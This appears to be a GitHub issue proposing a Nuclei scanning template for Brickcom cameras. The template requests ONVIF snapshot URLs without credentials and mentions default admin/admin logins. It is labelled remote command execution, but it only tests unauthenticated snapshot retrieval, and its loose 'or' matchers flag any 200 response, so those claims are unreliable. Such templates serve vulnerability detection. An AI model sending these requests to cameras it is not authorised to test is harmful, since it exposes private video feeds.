Brickcom Camera - Remote command execution

[0xr2r]

Is there an existing template for this?

• I have searched the existing templates.

Nuclei Template

id: brickcom-camera-rce

info:
  name: Brickcom Camera Remote Command Execution
  author: 0xr2r
  severity: critical
  description: |
    All Brickcom versions have username and password as admin by default and allow retrieving snapshots without authentication.
    This template tests for the ability to retrieve camera snapshots.
  tags: rce, camera, unauthenticated

http:
  - method: GET
    path:
      - "{{BaseURL}}/ONVIF/media.cgi?action=getSnapshot"
      - "{{BaseURL}}/ONVIF/media.cgi?action=getSnapshot&channel=1"

    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: header
        words:
          - "image/jpeg"
      - type: regex
        part: body
        regex:
          - "JFIF"

Relevant dumped responses

Anything else?

No response